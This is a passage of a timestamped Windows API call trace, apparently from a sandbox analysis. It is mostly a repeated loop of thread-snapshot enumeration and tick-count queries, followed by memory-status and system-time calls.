GetCurrentThreadId () returned 0x9c8 [0113.413] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.414] GetTickCount () returned 0x23458 [0113.414] GetCurrentThreadId () returned 0x9c8 [0113.414] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.415] GetTickCount () returned 0x23458 [0113.415] GetCurrentThreadId () returned 0x9c8 [0113.415] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.416] GetTickCount () returned 0x23458 [0113.416] GetCurrentThreadId () returned 0x9c8 [0113.416] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.416] GetTickCount () returned 0x23458 [0113.416] GetCurrentThreadId () returned 0x9c8 [0113.416] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.417] GetTickCount () returned 0x23458 [0113.417] GetCurrentThreadId () returned 0x9c8 [0113.417] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.418] GetTickCount () returned 0x23458 [0113.418] GetCurrentThreadId () returned 0x9c8 [0113.418] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.418] GetTickCount () returned 0x23458 [0113.418] GetCurrentThreadId () returned 0x9c8 [0113.418] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.419] GetTickCount () returned 0x23458 [0113.419] GetCurrentThreadId () returned 0x9c8 [0113.419] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.489] GetTickCount () returned 0x234a6 [0113.489] GetCurrentThreadId () returned 0x9c8 [0113.489] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.489] GetTickCount () returned 0x234a6 [0113.489] GetCurrentThreadId () returned 0x9c8 [0113.489] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.490] GetTickCount () returned 0x234a6 [0113.490] GetCurrentThreadId () returned 0x9c8 [0113.490] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.491] GetTickCount () returned 0x234a6 [0113.491] GetCurrentThreadId () returned 0x9c8 [0113.491] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.491] GetTickCount () returned 0x234a6 [0113.491] GetCurrentThreadId () returned 0x9c8 [0113.491] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.492] GetTickCount () returned 0x234a6 [0113.492] GetCurrentThreadId () returned 0x9c8 [0113.492] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.492] GetTickCount () returned 0x234a6 [0113.492] GetCurrentThreadId () returned 0x9c8 [0113.493] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.493] GetTickCount () returned 0x234a6 [0113.493] GetCurrentThreadId () returned 0x9c8 [0113.493] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.494] GetTickCount () returned 0x234a6 [0113.494] GetCurrentThreadId () returned 0x9c8 [0113.494] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.494] GetTickCount () returned 0x234a6 [0113.494] GetCurrentThreadId () returned 0x9c8 [0113.494] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.495] GetTickCount () returned 0x234a6 [0113.495] GetCurrentThreadId () returned 0x9c8 [0113.495] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.496] GetTickCount () returned 0x234a6 [0113.496] GetCurrentThreadId () returned 0x9c8 [0113.496] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.496] GetTickCount () returned 0x234a6 [0113.496] GetCurrentThreadId () returned 0x9c8 [0113.496] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.497] GetTickCount () returned 0x234a6 [0113.497] GetCurrentThreadId () returned 0x9c8 [0113.497] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.498] GetTickCount () returned 0x234b6 [0113.498] GetCurrentThreadId () returned 0x9c8 [0113.498] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.499] GetTickCount () returned 0x234b6 [0113.499] GetCurrentThreadId () returned 0x9c8 [0113.499] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.499] GetTickCount () returned 0x234b6 [0113.499] GetCurrentThreadId () returned 0x9c8 [0113.499] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.500] GetTickCount () returned 0x234b6 [0113.500] GetCurrentThreadId () returned 0x9c8 [0113.500] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.501] GetTickCount () returned 0x234b6 [0113.501] GetCurrentThreadId () returned 0x9c8 [0113.501] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.501] GetTickCount () returned 0x234b6 [0113.501] GetCurrentThreadId () returned 0x9c8 [0113.501] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.502] GetTickCount () returned 0x234b6 [0113.502] GetCurrentThreadId () returned 0x9c8 [0113.502] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.502] GetTickCount () returned 0x234b6 [0113.503] GetCurrentThreadId () returned 0x9c8 [0113.503] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.503] GetTickCount () returned 0x234b6 [0113.503] GetCurrentThreadId () returned 0x9c8 [0113.503] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.504] GetTickCount () returned 0x234b6 [0113.504] GetCurrentThreadId () returned 0x9c8 [0113.504] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.504] GetTickCount () returned 0x234b6 [0113.504] GetCurrentThreadId () returned 0x9c8 [0113.504] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.505] GetTickCount () returned 0x234b6 [0113.505] GetCurrentThreadId () returned 0x9c8 [0113.505] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.506] GetTickCount () returned 0x234b6 [0113.506] GetCurrentThreadId () returned 0x9c8 [0113.506] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.506] GetTickCount () returned 0x234b6 [0113.506] GetCurrentThreadId () returned 0x9c8 [0113.506] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.507] GetTickCount () returned 0x234b6 [0113.507] GetCurrentThreadId () returned 0x9c8 [0113.507] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.508] GetTickCount () returned 0x234b6 [0113.508] GetCurrentThreadId () returned 0x9c8 [0113.508] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.508] GetTickCount () returned 0x234b6 [0113.508] GetCurrentThreadId () returned 0x9c8 [0113.508] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.509] GetTickCount () returned 0x234b6 [0113.509] GetCurrentThreadId () returned 0x9c8 [0113.509] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.510] GetTickCount () returned 0x234b6 [0113.510] GetCurrentThreadId () returned 0x9c8 [0113.510] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.510] GetTickCount () returned 0x234b6 [0113.510] GetCurrentThreadId () returned 0x9c8 [0113.510] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.511] GetTickCount () returned 0x234b6 [0113.511] GetCurrentThreadId () returned 0x9c8 [0113.511] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.512] GetTickCount () returned 0x234b6 [0113.512] GetCurrentThreadId () returned 0x9c8 [0113.512] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.512] GetTickCount () returned 0x234b6 [0113.512] GetCurrentThreadId () returned 0x9c8 [0113.512] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.513] GetTickCount () returned 0x234b6 [0113.513] GetCurrentThreadId () returned 0x9c8 [0113.513] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.514] GetTickCount () returned 0x234c5 [0113.514] GetCurrentThreadId () returned 0x9c8 [0113.514] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.514] GetTickCount () returned 0x234c5 [0113.514] GetCurrentThreadId () returned 0x9c8 [0113.514] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.515] GetTickCount () returned 0x234c5 [0113.515] GetCurrentThreadId () returned 0x9c8 [0113.515] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.516] GetTickCount () returned 0x234c5 [0113.516] GetCurrentThreadId () returned 0x9c8 [0113.516] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.516] GetTickCount () returned 0x234c5 [0113.516] GetCurrentThreadId () returned 0x9c8 [0113.516] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.517] GetTickCount () returned 0x234c5 [0113.517] GetCurrentThreadId () returned 0x9c8 [0113.517] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.518] GetTickCount () returned 0x234c5 [0113.518] GetCurrentThreadId () returned 0x9c8 [0113.518] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.518] GetTickCount () returned 0x234c5 [0113.518] GetCurrentThreadId () returned 0x9c8 [0113.518] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.519] GetTickCount () returned 0x234c5 [0113.519] GetCurrentThreadId () returned 0x9c8 [0113.519] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.520] GetTickCount () returned 0x234c5 [0113.520] GetCurrentThreadId () returned 0x9c8 [0113.520] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.520] GetTickCount () returned 0x234c5 [0113.520] GetCurrentThreadId () returned 0x9c8 [0113.520] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.521] GetTickCount () returned 0x234c5 [0113.521] GetCurrentThreadId () returned 0x9c8 [0113.521] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.522] GetTickCount () returned 0x234c5 [0113.522] GetCurrentThreadId () returned 0x9c8 [0113.522] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.522] GetTickCount () returned 0x234c5 [0113.522] GetCurrentThreadId () returned 0x9c8 [0113.523] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.523] GetTickCount () returned 0x234c5 [0113.523] GetCurrentThreadId () returned 0x9c8 [0113.523] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.524] GetTickCount () returned 0x234c5 [0113.524] GetCurrentThreadId () returned 0x9c8 [0113.524] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.524] GetTickCount () returned 0x234c5 [0113.524] GetCurrentThreadId () returned 0x9c8 [0113.524] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.525] GetTickCount () returned 0x234c5 [0113.525] GetCurrentThreadId () returned 0x9c8 [0113.525] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.526] GetTickCount () returned 0x234c5 [0113.526] GetCurrentThreadId () returned 0x9c8 [0113.526] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.526] GetTickCount () returned 0x234c5 [0113.526] GetCurrentThreadId () returned 0x9c8 [0113.526] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.527] GetTickCount () returned 0x234c5 [0113.527] GetCurrentThreadId () returned 0x9c8 [0113.527] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.528] GetTickCount () returned 0x234c5 [0113.528] GetCurrentThreadId () returned 0x9c8 [0113.528] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.528] GetTickCount () returned 0x234c5 [0113.528] GetCurrentThreadId () returned 0x9c8 [0113.528] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.529] GetTickCount () returned 0x234c5 [0113.529] GetCurrentThreadId () returned 0x9c8 [0113.529] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.530] GetTickCount () returned 0x234c5 [0113.530] GetCurrentThreadId () returned 0x9c8 [0113.530] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.530] GetTickCount () returned 0x234c5 [0113.530] GetCurrentThreadId () returned 0x9c8 [0113.530] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.623] GetTickCount () returned 0x23532 [0113.623] GetCurrentThreadId () returned 0x9c8 [0113.624] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.624] GetTickCount () returned 0x23532 [0113.624] GetCurrentThreadId () returned 0x9c8 [0113.624] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.625] GetTickCount () returned 0x23532 [0113.625] GetCurrentThreadId () returned 0x9c8 [0113.625] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.626] GetTickCount () returned 0x23532 [0113.626] GetCurrentThreadId () returned 0x9c8 [0113.626] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.626] GetTickCount () returned 0x23532 [0113.626] GetCurrentThreadId () returned 0x9c8 [0113.626] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.627] GetTickCount () returned 0x23532 [0113.627] GetCurrentThreadId () returned 0x9c8 [0113.627] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.628] GetTickCount () returned 0x23532 [0113.628] GetCurrentThreadId () returned 0x9c8 [0113.628] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.629] GetTickCount () returned 0x23532 [0113.629] GetCurrentThreadId () returned 0x9c8 [0113.629] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.629] GetTickCount () returned 0x23532 [0113.629] GetCurrentThreadId () returned 0x9c8 [0113.629] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.630] GetTickCount () returned 0x23532 [0113.630] GetCurrentThreadId () returned 0x9c8 [0113.630] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.631] GetTickCount () returned 0x23532 [0113.631] GetCurrentThreadId () returned 0x9c8 [0113.631] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.631] GetTickCount () returned 0x23532 [0113.631] GetCurrentThreadId () returned 0x9c8 [0113.631] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.632] GetTickCount () returned 0x23532 [0113.632] GetCurrentThreadId () returned 0x9c8 [0113.632] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.633] GetTickCount () returned 0x23532 [0113.633] GetCurrentThreadId () returned 0x9c8 [0113.633] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.633] GetTickCount () returned 0x23532 [0113.633] GetCurrentThreadId () returned 0x9c8 [0113.633] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.634] GetTickCount () returned 0x23532 [0113.634] GetCurrentThreadId () returned 0x9c8 [0113.634] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.635] GetTickCount () returned 0x23532 [0113.635] GetCurrentThreadId () returned 0x9c8 [0113.635] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.635] GetTickCount () returned 0x23532 [0113.635] GetCurrentThreadId () returned 0x9c8 [0113.635] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.636] GetTickCount () returned 0x23532 [0113.636] GetCurrentThreadId () returned 0x9c8 [0113.636] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.636] GetTickCount () returned 0x23532 [0113.636] GetCurrentThreadId () returned 0x9c8 [0113.637] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.637] GetTickCount () returned 0x23532 [0113.637] GetCurrentThreadId () returned 0x9c8 [0113.637] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.638] GetTickCount () returned 0x23532 [0113.638] GetCurrentThreadId () returned 0x9c8 [0113.638] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.639] GetTickCount () returned 0x23542 [0113.639] GetCurrentThreadId () returned 0x9c8 [0113.639] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.639] GetTickCount () returned 0x23542 [0113.639] GetCurrentThreadId () returned 0x9c8 [0113.639] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.640] GetTickCount () returned 0x23542 [0113.640] GetCurrentThreadId () returned 0x9c8 [0113.640] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.640] GetTickCount () returned 0x23542 [0113.641] GetCurrentThreadId () returned 0x9c8 [0113.641] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.641] GetTickCount () returned 0x23542 [0113.641] GetCurrentThreadId () returned 0x9c8 [0113.641] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.642] GetTickCount () returned 0x23542 [0113.642] GetCurrentThreadId () returned 0x9c8 [0113.642] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.642] GetTickCount () returned 0x23542 [0113.642] GetCurrentThreadId () returned 0x9c8 [0113.642] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.643] GetTickCount () returned 0x23542 [0113.643] GetCurrentThreadId () returned 0x9c8 [0113.643] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.644] GetTickCount () returned 0x23542 [0113.644] GetCurrentThreadId () returned 0x9c8 [0113.644] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.644] GetTickCount () returned 0x23542 [0113.644] GetCurrentThreadId () returned 0x9c8 [0113.644] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.645] GetTickCount () returned 0x23542 [0113.645] GetCurrentThreadId () returned 0x9c8 [0113.645] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.646] GetTickCount () returned 0x23542 [0113.646] GetCurrentThreadId () returned 0x9c8 [0113.646] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.646] GetTickCount () returned 0x23542 [0113.646] GetCurrentThreadId () returned 0x9c8 [0113.646] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.647] GetTickCount () returned 0x23542 [0113.647] GetCurrentThreadId () returned 0x9c8 [0113.647] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.647] GetTickCount () returned 0x23542 [0113.647] GetCurrentThreadId () returned 0x9c8 [0113.647] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.648] GetTickCount () returned 0x23542 [0113.648] GetCurrentThreadId () returned 0x9c8 [0113.648] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.649] GetTickCount () returned 0x23542 [0113.649] GetCurrentThreadId () returned 0x9c8 [0113.649] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.649] GetTickCount () returned 0x23542 [0113.649] GetCurrentThreadId () returned 0x9c8 [0113.649] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.650] GetTickCount () returned 0x23542 [0113.650] GetCurrentThreadId () returned 0x9c8 [0113.650] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.651] GetTickCount () returned 0x23542 [0113.651] GetCurrentThreadId () returned 0x9c8 [0113.651] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.651] GetTickCount () returned 0x23542 [0113.651] GetCurrentThreadId () returned 0x9c8 [0113.651] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.652] GetTickCount () returned 0x23542 [0113.652] GetCurrentThreadId () returned 0x9c8 [0113.652] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.653] GetTickCount () returned 0x23542 [0113.653] GetCurrentThreadId () returned 0x9c8 [0113.653] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.653] GetTickCount () returned 0x23542 [0113.653] GetCurrentThreadId () returned 0x9c8 [0113.653] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.654] GetTickCount () returned 0x23552 [0113.654] GetCurrentThreadId () returned 0x9c8 [0113.654] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.655] GetTickCount () returned 0x23552 [0113.655] GetCurrentThreadId () returned 0x9c8 [0113.655] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.655] GetTickCount () returned 0x23552 [0113.655] GetCurrentThreadId () returned 0x9c8 [0113.655] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.656] GetTickCount () returned 0x23552 [0113.656] GetCurrentThreadId () returned 0x9c8 [0113.656] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.656] GetTickCount () returned 0x23552 [0113.656] GetCurrentThreadId () returned 0x9c8 [0113.656] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.657] GetTickCount () returned 0x23552 [0113.657] GetCurrentThreadId () returned 0x9c8 [0113.657] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.658] GetTickCount () returned 0x23552 [0113.658] GetCurrentThreadId () returned 0x9c8 [0113.658] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.658] GetTickCount () returned 0x23552 [0113.658] GetCurrentThreadId () returned 0x9c8 [0113.658] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.659] GetTickCount () returned 0x23552 [0113.659] GetCurrentThreadId () returned 0x9c8 [0113.659] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.660] GetTickCount () returned 0x23552 [0113.660] GetCurrentThreadId () returned 0x9c8 [0113.660] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.660] GetTickCount () returned 0x23552 [0113.660] GetCurrentThreadId () returned 0x9c8 [0113.660] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.661] GetTickCount () returned 0x23552 [0113.661] GetCurrentThreadId () returned 0x9c8 [0113.661] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.661] GetTickCount () returned 0x23552 [0113.661] GetCurrentThreadId () returned 0x9c8 [0113.661] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.662] GetTickCount () returned 0x23552 [0113.662] GetCurrentThreadId () returned 0x9c8 [0113.662] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.663] GetTickCount () returned 0x23552 [0113.663] GetCurrentThreadId () returned 0x9c8 [0113.663] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.663] GetTickCount () returned 0x23552 [0113.663] GetCurrentThreadId () returned 0x9c8 [0113.663] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.664] GetTickCount () returned 0x23552 [0113.664] GetCurrentThreadId () returned 0x9c8 [0113.664] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.664] GetTickCount () returned 0x23552 [0113.664] GetCurrentThreadId () returned 0x9c8 [0113.665] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.665] GetTickCount () returned 0x23552 [0113.665] GetCurrentThreadId () returned 0x9c8 [0113.665] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.666] GetTickCount () returned 0x23552 [0113.666] GetCurrentThreadId () returned 0x9c8 [0113.666] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.666] GetTickCount () returned 0x23552 [0113.666] GetCurrentThreadId () returned 0x9c8 [0113.666] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.667] GetTickCount () returned 0x23552 [0113.667] GetCurrentThreadId () returned 0x9c8 [0113.667] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.668] GetTickCount () returned 0x23552 [0113.668] GetCurrentThreadId () returned 0x9c8 [0113.668] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.668] GetTickCount () returned 0x23552 [0113.668] GetCurrentThreadId () returned 0x9c8 [0113.668] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.669] GetTickCount () returned 0x23552 [0113.669] GetCurrentThreadId () returned 0x9c8 [0113.669] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.786] GetTickCount () returned 0x235ce [0113.786] GetCurrentThreadId () returned 0x9c8 [0113.786] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.787] GetTickCount () returned 0x235ce [0113.787] GetCurrentThreadId () returned 0x9c8 [0113.787] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.788] GetTickCount () returned 0x235ce [0113.788] GetCurrentThreadId () returned 0x9c8 [0113.788] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.788] GetTickCount () returned 0x235ce [0113.788] GetCurrentThreadId () returned 0x9c8 [0113.788] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.789] GetTickCount () returned 0x235ce [0113.789] GetCurrentThreadId () returned 0x9c8 [0113.789] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.790] GetTickCount () returned 0x235ce [0113.790] GetCurrentThreadId () returned 0x9c8 [0113.790] Thread32Next (hSnapshot=0x188, lpte=0x265e644) returned 1 [0113.790] GetTickCount () returned 0x235ce [0113.790] GetCurrentThreadId () returned 0x9c8 [0113.799] FreeLibrary (hLibModule=0x75dc0000) returned 1 [0113.799] QueryPerformanceCounter (in: lpPerformanceCount=0x265e234 | out: lpPerformanceCount=0x265e234*=557477975) returned 1 [0113.799] GetCurrentThreadId () returned 0x9c8 [0113.799] GlobalMemoryStatus (in: lpBuffer=0x265e624 | out: lpBuffer=0x265e624) [0113.799] GetCurrentThreadId () returned 0x9c8 [0113.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a5ab5f0, dwHighDateTime=0x1d31ac1)) [0113.806] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a5ab5f0, dwHighDateTime=0x1d31ac1)) [0113.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a5ab5f0, dwHighDateTime=0x1d31ac1)) [0113.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a5d1750, dwHighDateTime=0x1d31ac1)) [0113.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a5d1750, dwHighDateTime=0x1d31ac1)) [0113.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a5d1750, dwHighDateTime=0x1d31ac1)) [0113.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a5d1750, dwHighDateTime=0x1d31ac1)) [0113.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a643b70, dwHighDateTime=0x1d31ac1)) [0113.871] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a643b70, dwHighDateTime=0x1d31ac1)) [0113.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a669cd0, dwHighDateTime=0x1d31ac1)) [0113.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a669cd0, dwHighDateTime=0x1d31ac1)) [0113.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a669cd0, dwHighDateTime=0x1d31ac1)) [0113.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a669cd0, dwHighDateTime=0x1d31ac1)) [0113.884] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a669cd0, dwHighDateTime=0x1d31ac1)) [0113.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a68fe30, dwHighDateTime=0x1d31ac1)) [0113.890] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3a68fe30, dwHighDateTime=0x1d31ac1)) [0113.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3a68fe30, dwHighDateTime=0x1d31ac1)) [0113.896] 